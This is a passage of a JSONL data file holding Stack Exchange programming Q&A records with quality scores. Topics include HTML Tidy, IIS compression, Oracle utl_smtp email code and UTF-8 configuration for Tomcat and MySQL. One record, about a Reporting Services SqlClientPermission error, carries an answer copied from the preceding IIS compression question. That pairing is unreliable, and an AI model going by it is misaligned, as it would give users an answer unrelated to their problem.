do additional accessibility checks (<level> = 0, 1, 2, 3).\n                     0 is assumed if <level> is missing.\n\nCharacter encodings\n-------------------\n -raw                output values above 127 without conversion to entities\n -ascii              use ISO-8859-1 for input, US-ASCII for output\n -latin0             use ISO-8859-15 for input, US-ASCII for output\n -latin1             use ISO-8859-1 for both input and output\n -iso2022            use ISO-2022 for both input and output\n -utf8               use UTF-8 for both input and output\n -mac                use MacRoman for input, US-ASCII for output\n -win1252            use Windows-1252 for input, US-ASCII for output\n -ibm858             use IBM-858 (CP850+Euro) for input, US-ASCII for output\n -utf16le            use UTF-16LE for both input and output\n -utf16be            use UTF-16BE for both input and output\n -utf16              use UTF-16 for both input and output\n -big5               use Big5 for both input and output\n -shiftjis           use Shift_JIS for both input and output\n -language <lang>    set the two-letter language code <lang> (for future use)\n\nMiscellaneous\n-------------\n -version, -v        show the version of Tidy\n -help, -h, -?       list the command line options\n -xml-help           list the command line options in XML format\n -help-config        list all configuration options\n -xml-config         list all configuration options in XML format\n -show-config        list the current configuration settings\n\nUse --blah blarg for any configuration option \"blah\" with argument \"blarg\"\n\nInput/Output default to stdin/stdout respectively\nSingle letter options apart from -f may be combined\nas in:  tidy -f errs.txt -imu foo.html\nFor further info on HTML see http://www.w3.org/MarkUp\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.627506"}
{"id": "hf_a5bd42ec3a36", "question": "<p>How do you compress Script Resources of ASP.Net? I saw a file there reached up to 255 KB! I tried finding solutions, but so far it only talks about scripting dynamic and static files. I checked the compression temp folder of IIS and found no compressed scripted resource there. That led me to the conclusion that these files are transferred over with high bandwidth.</p>\n", "question_body": "", "answer": "If you're running IIS6 the guys at OrcsWeb have a nice wee article -\nhttp://weblogs.asp.net/owscott/archive/2004/01/12/57916.aspx\nWe have customers running the port80 software because they get more control:\nhttp://www.port80software.com/products/zipenable/\nhttp://www.port80software.com/products/httpzip/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.675901"}
{"id": "hf_507b5524b4eb", "question": "<p>I have successfully added a custom assembly, added it to the report using <code>AddTrustedCodeModuleInCurrentAppDomain</code>. I am executing the report in the current appdomain.</p>\n\n<p>When I try to access SQL I get reporting services <code>System.Data.SqlClient.SqlClientPermission failed.</code> I have tried adding <code>System.Data</code> to the trusted assemblies as above but it doesn't help.</p>\n\n<p>How do I ensure that this permission is present?</p>\n", "question_body": "", "answer": "If you're running IIS6 the guys at OrcsWeb have a nice wee article -\nhttp://weblogs.asp.net/owscott/archive/2004/01/12/57916.aspx\nWe have customers running the port80 software because they get more control:\nhttp://www.port80software.com/products/zipenable/\nhttp://www.port80software.com/products/httpzip/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.700209"}
{"id": "hf_9f5562c3ba08", "question": "<p>I have a set of XSDs from which I generate data access classes, stored procedures and more.</p>\n\n<p>What I don't have is a way to generate database table from these - is there a tool that will generate the DDL statements for me?</p>\n\n<p>This is not the same as <a href=\"https://stackoverflow.com/questions/16443/create-db-table-from-dataset-table\">Create DB table from dataset table</a>, as I do not have dataset tables, but XSDs.</p>\n", "question_body": "", "answer": "Commercial Product:  Altova's\nXML Spy\n.\nNote that there's no general solution to this.  An XSD can easily describe something that does not map to a relational database.\nWhile you can try to \"automate\" this, your XSD's must be designed with a relational database in mind, or it won't work out well.\nIf the XSD's have features that don't map well you'll have to (1) design a mapping of some kind and then (2) write your own application to translate the XSD's into DDL.\nBeen there, done that.  Work for hire -- no open source available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.724570"}
{"id": "hf_4fcbb9b2bf02", "question": "<p>What is the right way of initializing a static map? Do we need a static function that will initialize it? </p>\n", "question_body": "", "answer": "Using C++11:\n```\n```\n#include <map>\nusing namespace std;\n\nmap<int, char> m = {{1, 'a'}, {3, 'b'}, {5, 'c'}, {7, 'd'}};\n```\n```\nUsing\nBoost.Assign\n:\n```\n```\n#include <map>\n#include \"boost/assign.hpp\"\nusing namespace std;\nusing namespace boost::assign;\n\nmap<int, char> m = map_list_of (1, 'a') (3, 'b') (5, 'c') (7, 'd');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.759275"}
{"id": "hf_b49245da77d6", "question": "<p>Are there good efficiency savings using Sql Server 2005 over Sql Server 2000?</p>\n\n<p>Or does it just have more services etc</p>\n\n<p>Has anyone seen their system work any quicker after making the upgrade?</p>\n", "question_body": "", "answer": "The surrounding tools such as Analysis Services were substantially rewritten and can get you a variety of wins depending on your requirements.  However I don't see a lot of really fundamental changes from 2000 to 2005 in the core database engine.\nThere are some improvements that may get you better performance in certain situations.  SQL2005 has much better support for 64-bit architectures and better table partitioning than SQL2000 (you can partition a table as opposed to making partitioned views).  64-bit support is the most likely to give you a performance win on a large system as it allows you to set up much larger caches.\nApart from those features I don't believe that there is really a large difference.  There are probably minor performance tweaks.\nThe main reason to move from SQL2000 to SQL2005 will be when SQL2000 goes out of support.  If you have a running application on SQL2000 there are not a lot of compelling reasons to switch to 2005 while 2000 is still supported by Microsoft.\nData Warehouse systems will get quite a few wins from moving to SQL2005.  SSIS, SSAS2005 and SSRS2005 are much better than their SQL2000 counterparts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.794636"}
{"id": "hf_87fc8197eb1d", "question": "<p>I need to enumerate all running applications. In particular, all top windows. And for every window I need to add my custom item to the system menu of that window.</p>\n\n<p>How can I accomplish that in C++?</p>\n\n<p><strong>Update.</strong></p>\n\n<p>I would be more than happy to have a solution for Windows, MacOS, and Ubuntu (though, I'm not sure if MacOS and Ubuntu have such thing as 'system menu').</p>\n", "question_body": "", "answer": "Once you have another window's top level handle, you may be able to call\nGetMenu()\nto retrieve the Window's system menu and then modify it, eg:\n```\n```\nHMENU hMenu = GetMenu(hwndNext);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.818114"}
{"id": "hf_fe3a5930863a", "question": "<p>Is there a way to create an html link using h:outputLink, other JSF tag or code to create a non faces request (HTTP GET) with request parameters?</p>\n\n<p>For example I have the following navigation-rule</p>\n\n<pre><code>&lt;navigation-rule&gt;\n    &lt;navigation-case&gt;\n        &lt;from-outcome&gt;showMessage&lt;/from-outcome&gt;\n        &lt;to-view-id&gt;/showMessage.jsf&lt;/to-view-id&gt;\n        &lt;redirect/&gt;\n    &lt;/navigation-case&gt;\n&lt;/navigation-rule&gt;\n</code></pre>\n\n<p>In my page I would like to output the following html code:</p>\n\n<pre><code>&lt;a href=\"/showMessage.jsf?msg=23\"&gt;click to see the message&lt;/a&gt;\n</code></pre>\n\n<p>I could just write the html code in the page, but I want to use the navigation rule in order to have all the urls defined in a single configurable file.</p>\n", "question_body": "", "answer": "Have you considered a form?\n```\n```\n<h:form>\n    <h:commandLink value=\"Click to see the message\" action=\"#{handler.outcome}\" />\n    <h:inputHidden id=\"msgId\" value=\"#{bean.msgId}\"/>\n</h:form>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.841217"}
{"id": "hf_c4ad4c79d708", "question": "<p>I have a base class object array into which I have typecasted many different child class objects and am passing it to a sub vi. Is there any way by which I can find out the original type of the object of each individual elements in the array?</p>\n\n<p>Thanks ...</p>\n", "question_body": "", "answer": "NI has a good\noverview of LVOOP\nthat is a must-read, since OO is implemented in a unique way for LabVIEW.\nHave you tried the '\nto more generic class\n' and '\nto more specific class\n' functions, on the application control palette?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.864840"}
{"id": "hf_2fff36de14b0", "question": "<p>Can I expose a class from another .net namespace as a class in my namespace?  I use a class - antlr.collections.AST - as the return type for a function belonging to a class in my namespace; as a result, the user has to have</p>\n\n<pre><code>using antlr.collections;\nusing myNamespace;\n</code></pre>\n\n<p>at the top of their files in order to use my function.  Can I make myNamespace.AST an alias for antlr.collections.AST, such that the user only has to have</p>\n\n<pre><code>using myNamespace;\n</code></pre>\n\n<p>at the top of their files?</p>\n", "question_body": "", "answer": "How about deriving a class using the same name in the new namespace? I meant:\n```\n```\nnamespace MyForms {\n    class Class1 : Some.Other.Namespace.Class1 {\n        // ...\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.888402"}
{"id": "hf_b12f8393dc08", "question": "<p>How can i check in JavaScript if a variable is defined in a page? Suppose I want to check if a variable named \"x\" is defined in a page, if I do <code>if(x != null)</code>, it gives me an error.</p>\n", "question_body": "", "answer": "try to use\nundefined\n```\n```\nif (x !== undefined)\n```\n```\nThis is how checks for specific Browser features are done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.926945"}
{"id": "hf_f58c3548e83c", "question": "<p>Is there any way to automatically wrap comments at the 80-column boundary as you type them? ..or failing that, any way to display a faint line at the coulmn 80 boundary to make wrapping them manually a little easier?</p>\n\n<p>Several other IDEs I use have one or other of those functions and it makes writing comments that wrap in sensible places much easier/quicker.</p>\n\n<p><strong>[Edit]</strong> If (like me) you're using Visual C++ Express, you need to change the VisualStudio part of the key into VCExpress - had me confused for a while there!</p>\n", "question_body": "", "answer": "Take a look at the question here:\nHidden Features of Visual Studio (2005-2010)?\nIt shows how to do that:\n\"Under \"HKEY_CURRENT_USER\\Software\\Microsoft\\VisualStudio\\8.0\\Text Editor\" Create a String called \"Guides\" with the value \"RGB(255,0,0) 79\" to have a red line at column 80 in the text editor.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.987155"}
{"id": "hf_b24adf7584a7", "question": "<p>A client of mine uses Oracle 9i's utl_smtp to send mails out notifications to managers when their employees have made travel requests and they woul like quite a few changes made to the mailouts done. </p>\n\n<p>We're having a lot of problems getting utl_smtp to talk to any smtp server on our network. We've even tried installing free smtp server on the oracle box but it will not spot the mail server running on port 25. The error code is ORA-29278.</p>\n\n<p>So two questions really.</p>\n\n<ol>\n<li><p>Does anyone have any experience setting up email using Oracle's utl_smtp utility and have any suggestions as to where we might be going wrong.</p></li>\n<li><p>Does anyone know if it is possible to get utl_smtp to dump text emails to a directory much as you can do if you're using system.net.mail's specifiedpickupdirectory config setting. This would be by far the preferable option.</p></li>\n</ol>\n\n<p>Thanks, Dan</p>\n", "question_body": "", "answer": "Yes, we can telnet to the server.\n```\n```\n-- ****** Object: Stored Procedure TRAVELADMIN_DEV.HTML_EMAIL Script Date: 22/08/2008 12:41:02 ******\nCREATE PROCEDURE \"HTML_EMAIL\"  (\n    p_to            in varchar2,\n    p_cc            in varchar2,\n    p_from          in varchar2,\n    p_subject       in varchar2,\n    p_text          in varchar2 default null,\n    p_html          in varchar2 default null\n    )\nis\n    l_boundary      varchar2(255) default 'a1b2c3d4e3f2g1';\n    l_connection    utl_smtp.connection;\n    l_body_html     clob := empty_clob;  --This LOB will be the email message\n    l_offset        number;\n    l_ammount       number;\n    l_temp          varchar2(32767) default null;\n    p_smtp_hostname varchar2(30):= 'rockies';\n    p_smtp_portnum  varchar2(2) := '25';\nbegin\n    l_connection := utl_smtp.open_connection( p_smtp_hostname, p_smtp_portnum );\n    utl_smtp.helo( l_connection, p_smtp_hostname );\n    utl_smtp.mail( l_connection, p_from );\n    utl_smtp.rcpt( l_connection, p_to );\n    l_temp := l_temp || 'MIME-Version: 1.0' ||  chr(13) || chr(10);\n    l_temp := l_temp || 'To: ' || p_to || chr(13) || chr(10);\n    IF ((p_cc <> NULL) OR (LENGTH(p_cc) > 0)) THEN\n      l_temp := l_temp || 'Cc: ' || p_cc || chr(13) || chr(10);\n      utl_smtp.rcpt( l_connection, p_cc );\n    END IF;\n    l_temp := l_temp || 'From: ' || p_from || chr(13) || chr(10);\n    l_temp := l_temp || 'Subject: ' || p_subject || chr(13) || chr(10);\n    l_temp := l_temp || 'Reply-To: ' || p_from ||  chr(13) || chr(10);\n    l_temp := l_temp || 'Content-Type: multipart/alternative; boundary=' ||\n                         chr(34) || l_boundary ||  chr(34) || chr(13) ||\n                         chr(10);\n    ----------------------------------------------------\n    -- Write the headers\n    dbms_lob.createtemporary( l_body_html, false, 10 );\n    dbms_lob.write(l_body_html,length(l_temp),1,l_temp);\n    ----------------------------------------------------\n    -- Write the text boundary\n    l_offset := dbms_lob.getlength(l_body_html) + 1;\n    l_temp   := '--' || l_boundary || chr(13)||chr(10);\n    l_temp   := l_temp || 'content-type: text/plain; charset=us-ascii' ||\n                  chr(13) || chr(10) || chr(13) || chr(10);\n    dbms_lob.write(l_body_html,length(l_temp),l_offset,l_temp);\n    ----------------------------------------------------\n    -- Write the plain text portion of the email\n    l_offset := dbms_lob.getlength(l_body_html) + 1;\n    dbms_lob.write(l_body_html,length(p_text),l_offset,p_text);\n    ----------------------------------------------------\n    -- Write the HTML boundary\n    l_temp   := chr(13)||chr(10)||chr(13)||chr(10)||'--' || l_boundary ||\n                    chr(13) || chr(10);\n    l_temp   := l_temp || 'content-type: text/html;' ||\n                   chr(13) || chr(10) || chr(13) || chr(10);\n    l_offset := dbms_lob.getlength(l_body_html) + 1;\n    dbms_lob.write(l_body_html,length(l_temp),l_offset,l_temp);\n    ----------------------------------------------------\n    -- Write the HTML portion of the message\n    l_offset := dbms_lob.getlength(l_body_html) + 1;\n    dbms_lob.write(l_body_html,length(p_html),l_offset,p_html);\n    ----------------------------------------------------\n    -- Write the final html boundary\n    l_temp   := chr(13) || chr(10) || '--' ||  l_boundary || '--' || chr(13);\n    l_offset := dbms_lob.getlength(l_body_html) + 1;\n    dbms_lob.write(l_body_html,length(l_temp),l_offset,l_temp);\n    ----------------------------------------------------\n    -- Send the email in 1900 byte chunks to UTL_SMTP\n    l_offset  := 1;\n    l_ammount := 1900;\n    utl_smtp.open_data(l_connection);\n    while l_offset < dbms_lob.getlength(l_body_html) loop\n        utl_smtp.write_data(l_connection,\n                            dbms_lob.substr(l_body_html,l_ammount,l_offset));\n        l_offset  := l_offset + l_ammount ;\n        l_ammount := least(1900,dbms_lob.getlength(l_body_html) - l_ammount);\n    end loop;\n    utl_smtp.close_data(l_connection);\n    utl_smtp.quit( l_connection );\n    dbms_lob.freetemporary(l_body_html);\nend;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.021513"}
{"id": "hf_c7f49e9cd55c", "question": "<p>I'm trying to learn RegEx in Ruby, based on what I'm reading in \"<em>The Rails Way</em>\". But, even this simple example has me stumped. I can't tell if it is a typo or not:</p>\n\n<pre><code>text.gsub(/\\s/, \"-\").gsub([^\\W-], '').downcase\n</code></pre>\n\n<p>It seems to me that this would replace all spaces with <code>-</code>, then anywhere a string starts with a non letter or number followed by a dash, replace that with ''. But, using irb, it fails first on <code>^</code>:</p>\n\n<blockquote>\n  <p>syntax error, unexpected '^', expecting ']'</p>\n</blockquote>\n\n<p>If I take out the <code>^</code>, it fails again on the W.</p>\n", "question_body": "", "answer": "You forgot the slashes. It should be\n```\n/[^\\W-]/\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.080324"}
{"id": "hf_03d1777654d5", "question": "<p>I have a <em>JComboBox</em> and would like to have a separator in the list of elements. How do I do this in Java?</p>\n\n<p>A sample scenario where this would come in handy is when making a combobox for font-family-selection; similar to the font-family-selection-control in Word and Excel. In this case I would like to show the most-used-fonts at the top, then a separator and finally all font-families below the separator in alphabetical order.</p>\n\n<p>Can anyone help me with how to do this or is this not possible in Java?</p>\n", "question_body": "", "answer": "You can use a custom\n```\nListCellRenderer\n```\nwhich would draw the separator items differently. See\ndocs\nand a small\ntutorial\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.103877"}
{"id": "hf_29c879da931f", "question": "<p>If I am iterating over each file using :</p>\n\n<pre><code>@echo off\n\nFOR %%f IN (*\\*.\\**) DO (\n    echo %%f\n)\n</code></pre>\n\n<p>how could I print the extension of each file? I tried assigning %%f to a temporary variable, and then using the code : <code>echo \"%t:~-3%\"</code> to print but with no success.</p>\n", "question_body": "", "answer": "The FOR command has several built-in switches that allow you to modify file names. Try the following:\n```\n```\n@echo off\nfor %%i in (*.*) do echo \"%%~xi\"\n```\n```\nFor further details, use\n```\nhelp for\n```\nto get a complete list of the modifiers - there are quite a few!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.127164"}
{"id": "hf_857684117ada", "question": "<p>Currently I use .Net <code>WebBrowser.Document.Images()</code> to do this. It requires the <code>Webrowser</code> to load the document. It's messy and takes up resources. </p>\n\n<p>According to <a href=\"https://stackoverflow.com/questions/138313/how-to-extract-img-src-title-and-alt-from-html-using-php\">this question</a> XPath is better than a regex at this. </p>\n\n<p>Anyone know how to do this in C#?</p>\n", "question_body": "", "answer": "If it's valid xhtml, you could do this:\n```\n```\nXmlDocument doc = new XmlDocument();\ndoc.LoadXml(html);\nXmlNodeList results = doc.SelectNodes(\"//img/@src\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.162944"}
{"id": "hf_bcbacaf114bf", "question": "<p>I would like to know when I should include external scripts or write them inline with the html code, in terms of performance and ease of maintenance.</p>\n\n<p>What is the general practice for this?</p>\n\n<p>Real-world-scenario - I have several html pages that need client-side form validation. For this I use a jQuery plugin that I include on all these pages. But the question is, do I:</p>\n\n<ul>\n<li>write the bits of code that configure this script inline?</li>\n<li>include all bits in one file that's share among all these html pages?</li>\n<li>include each bit in a separate external file, one for each html page?</li>\n</ul>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "At the time this answer was originally posted (2008), the rule was simple: All script should be external. Both for maintenance and performance.\n(Why performance? Because if the code is separate, it can easier be cached by browsers.)\nJavaScript doesn't belong in the HTML code and if it contains special characters (such as\n```\n<\n```\n,\n```\n>\n```\n) it even creates problems.\nNowadays, web scalability has changed. Reducing the number of requests has become a valid consideration due to the latency of making multiple HTTP requests. This makes the answer more complex: in most cases, having JavaScript external is\nstill\nrecommended. But for certain cases, especially very small pieces of code, inlining them into the site’s HTML makes sense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.209937"}
{"id": "hf_aa85c14091a4", "question": "<p>Since I upgraded to Visual Studio 2008 from vs2005, I have found a very annoying behaviour when debugging large projects.  If I attempt to step into inline code, the debugger appears to lock up for tens of seconds.  Each time that I step inside such a function, there is a similar pause.  Has anyone experienced this and is anyone aware of a work around?</p>\n\n<p>Postscript:</p>\n\n<p>After learning that MS had a service pack for vs2008 and needing to get it because of other compiling issues, the problem that I was encountering with the debugger was resolved.  </p>\n", "question_body": "", "answer": "I get delays like this when debugging ASP.NET apps and it seems to happen when a symbol(pdb) file is getting accessed in the background. The larger the library, the longer the wait. My delay is at most about 10 seconds, but it does seem to happen with symbols that have already been accessed.\nI do get a lot of 1-3 second waits when i try to step over items that cause VS to give me the \"Step into Specific\" message (\nhttp://blogesh.wordpress.com/category/visual-studio-2008/\n#3). Perhaps this may be causing a real blow up for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.233975"}
{"id": "hf_d1e504aff65a", "question": "<p>I need to get UTF-8 working in my Java webapp (servlets + JSP, no framework used) to support <code>äöå</code> etc. for regular Finnish text and Cyrillic alphabets like <code>ЦжФ</code> for special cases.</p>\n\n<p>My setup is the following:</p>\n\n<ul>\n<li>Development environment: Windows XP</li>\n<li>Production environment: Debian</li>\n</ul>\n\n<p>Database used: MySQL 5.x</p>\n\n<p>Users mainly use Firefox2 but also Opera 9.x, FF3, IE7 and Google Chrome are used to access the site.</p>\n\n<p>How to achieve this?</p>\n", "question_body": "", "answer": "Answering myself as the FAQ of this site encourages it. This works for me:\nMostly characters äåö are not a problematic as the default character set used by browsers and tomcat/java for webapps is latin1 ie. ISO-8859-1 which \"understands\" those characters.\nTo get UTF-8 working under Java+Tomcat+Linux/Windows+Mysql requires the following:\nConfiguring Tomcat's server.xml\nIt's necessary to configure that the connector uses UTF-8 to encode url (GET request) parameters:\n```\n```\n<Connector port=\"8080\" maxHttpHeaderSize=\"8192\"\n maxThreads=\"150\" minSpareThreads=\"25\" maxSpareThreads=\"75\"\n enableLookups=\"false\" redirectPort=\"8443\" acceptCount=\"100\"\n connectionTimeout=\"20000\" disableUploadTimeout=\"true\" \n compression=\"on\" \n compressionMinSize=\"128\" \n noCompressionUserAgents=\"gozilla, traviata\" \n compressableMimeType=\"text/html,text/xml,text/plain,text/css,text/ javascript,application/x-javascript,application/javascript\"\n URIEncoding=\"UTF-8\"\n/>\n```\n```\nThe key part being\nURIEncoding=\"UTF-8\"\nin the above example. This quarantees that Tomcat handles all incoming GET parameters as UTF-8 encoded.\nAs a result, when the user writes the following to the address bar of the browser:\n```\n```\nhttps://localhost:8443/ID/Users?action=search&name=*ж*\n```\n```\nthe character ж is handled as UTF-8 and is encoded to (usually by the browser before even getting to the server) as\n%D0%B6\n.\nPOST request are not affected by this.\nCharsetFilter\nThen it's time to force the java webapp to handle all requests and responses as UTF-8 encoded. This requires that we define a character set filter like the following:\n```\n```\npackage fi.foo.filters;\n\nimport javax.servlet.*;\nimport java.io.IOException;\n\npublic class CharsetFilter implements Filter {\n\n    private String encoding;\n\n    public void init(FilterConfig config) throws ServletException {\n        encoding = config.getInitParameter(\"requestEncoding\");\n        if (encoding == null) encoding = \"UTF-8\";\n    }\n\n    public void doFilter(ServletRequest request, ServletResponse response, FilterChain next)\n            throws IOException, ServletException {\n        // Respect the client-specified character encoding\n        // (see HTTP specification section 3.4.1)\n        if (null == request.getCharacterEncoding()) {\n            request.setCharacterEncoding(encoding);\n        }\n\n        // Set the default response content type and encoding\n        response.setContentType(\"text/html; charset=UTF-8\");\n        response.setCharacterEncoding(\"UTF-8\");\n\n        next.doFilter(request, response);\n    }\n\n    public void destroy() {\n    }\n}\n```\n```\nThis filter makes sure that if the browser hasn't set the encoding used in the request, that it's set to UTF-8.\nThe other thing done by this filter is to set the default response encoding ie. the encoding in which the returned html/whatever is. The alternative is to set the response encoding etc. in each controller of the application.\nThis filter has to be added to the\nweb.xml\nor the deployment descriptor of the webapp:\n```\n```\n<!--CharsetFilter start--> \n\n  <filter>\n    <filter-name>CharsetFilter</filter-name>\n    <filter-class>fi.foo.filters.CharsetFilter</filter-class>\n      <init-param>\n        <param-name>requestEncoding</param-name>\n        <param-value>UTF-8</param-value>\n      </init-param>\n  </filter>\n\n  <filter-mapping>\n    <filter-name>CharsetFilter</filter-name>\n    <url-pattern>/*</url-pattern>\n  </filter-mapping>\n```\n```\nThe instructions for making this filter are found at the\ntomcat wiki (\nhttp://wiki.apache.org/tomcat/Tomcat/UTF-8\n)\nJSP page encoding\nIn your\nweb.xml\n, add the following:\n```\n```\n<jsp-config>\n    <jsp-property-group>\n        <url-pattern>*.jsp</url-pattern>\n        <page-encoding>UTF-8</page-encoding>\n    </jsp-property-group>\n</jsp-config>\n```\n```\nAlternatively, all JSP-pages of the webapp would need to have the following at the top of them:\n```\n```\n<%@page pageEncoding=\"UTF-8\" contentType=\"text/html; charset=UTF-8\"%>\n```\n```\nIf some kind of a layout with different JSP-fragments is used, then this is needed in\nall\nof them.\nHTML-meta tags\nJSP page encoding tells the JVM to handle the characters in the JSP page in the correct encoding.\nThen it's time to tell the browser in which encoding the html page is:\nThis is done with the following at the top of each xhtml page produced by the webapp:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n   <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\n   <html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"fi\">\n   <head>\n   <meta http-equiv='Content-Type' content='text/html; charset=UTF-8' />\n   ...\n```\n```\nJDBC-connection\nWhen using a db, it has to be defined that the connection uses UTF-8 encoding. This is done in\ncontext.xml\nor wherever the JDBC connection is defiend as follows:\n```\n```\n<Resource name=\"jdbc/AppDB\" \n        auth=\"Container\"\n        type=\"javax.sql.DataSource\"\n        maxActive=\"20\" maxIdle=\"10\" maxWait=\"10000\"\n        username=\"foo\"\n        password=\"bar\"\n        driverClassName=\"com.mysql.jdbc.Driver\" url=\"jdbc:mysql://localhost:3306/      ID_development?useEncoding=true&amp;characterEncoding=UTF-8\"\n    />\n```\n```\nMySQL database and tables\nThe used database must use UTF-8 encoding. This is achieved by creating the database with the following:\n```\n```\nCREATE DATABASE `ID_development` \n   /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_swedish_ci */;\n```\n```\nThen, all of the tables need to be in UTF-8 also:\n```\n```\nCREATE TABLE  `Users` (\n    `id` int(10) unsigned NOT NULL auto_increment,\n    `name` varchar(30) collate utf8_swedish_ci default NULL\n    PRIMARY KEY  (`id`)\n   ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_swedish_ci ROW_FORMAT=DYNAMIC;\n```\n```\nThe key part being\nCHARSET=utf8\n.\nMySQL server configuration\nMySQL serveri has to be configured also. Typically this is done in Windows by modifying\nmy.ini\n-file and in Linux by configuring\nmy.cnf\n-file.\nIn those files it should be defined that all clients connected to the server use utf8 as the default character set and that the default charset used by the server is also utf8.\n```\n```\n[client]\n   port=3306\n   default-character-set=utf8\n\n   [mysql]\n   default-character-set=utf8\n```\n```\nMysql procedures and functions\nThese also need to have the character set defined. For example:\n```\n```\nDELIMITER $$\n\n   DROP FUNCTION IF EXISTS `pathToNode` $$\n   CREATE FUNCTION `pathToNode` (ryhma_id INT) RETURNS TEXT CHARACTER SET utf8\n   READS SQL DATA\n   BEGIN\n\n    DECLARE path VARCHAR(255) CHARACTER SET utf8;\n\n   SET path = NULL;\n\n   ...\n\n   RETURN path;\n\n   END $$\n\n   DELIMITER ;\n```\n```\nGET requests: latin1 and UTF-8\nIf and when it's defined in tomcat's server.xml that GET request parameters are encoded in UTF-8, the following GET requests are handled properly:\n```\n```\nhttps://localhost:8443/ID/Users?action=search&name=Petteri\n   https://localhost:8443/ID/Users?action=search&name=ж\n```\n```\nBecause ASCII-characters are encoded in the same way both with latin1 and UTF-8, the string \"Petteri\" is handled correctly.\nThe Cyrillic character ж is not understood at all in latin1. Because Tomcat is instructed to handle request parameters as UTF-8 it encodes that character correctly as\n%D0%B6\n.\nIf and when browsers are instructed to read the pages in UTF-8 encoding (with request headers and html meta-tag), at least Firefox 2/3 and other browsers from this period all encode the character themselves as\n%D0%B6\n.\nThe end result is that all users with name 